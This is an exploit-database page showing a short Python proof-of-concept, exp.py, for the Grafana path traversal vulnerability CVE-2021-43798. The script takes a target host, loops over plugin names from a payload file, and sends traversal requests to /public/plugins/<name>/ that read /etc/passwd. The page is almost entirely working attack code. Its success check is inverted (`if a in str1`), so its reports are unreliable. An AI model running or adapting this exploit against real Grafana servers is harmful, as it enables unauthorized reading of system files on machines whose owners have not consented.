Exploit databaseDownload repository ZIP
GH-3ae09a51eb37b7fa24eb6a7187f4079b
scorpionsmax/cve-2021-43798-grafana-poc
Sources for CVE-2021-43798
55 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
scorpionsmax/cve-2021-43798-grafana-pocRevision 45e737c64e36
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exp.py
Python · 673 bytes# coding=utf-8
# 作者:Scorpions
# 日期:2021.12.7
import requests
import sys
args = str(sys.argv[1])
f = open("./paload.txt")
for line in f:
url = "http://"+args+"/public/plugins/"+str.rstrip(line)+"/../../../../../../../../../../../etc/passwd"
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
}
req = requests.post(url, headers=headers,timeout=(3,7),allow_redirects=False)
a=req.text
str1='root'
if a in str1:
print('确认存在'+str.rstrip(line)+'路径,并存在漏洞!')
print(url)
else:
print('不存在漏洞!')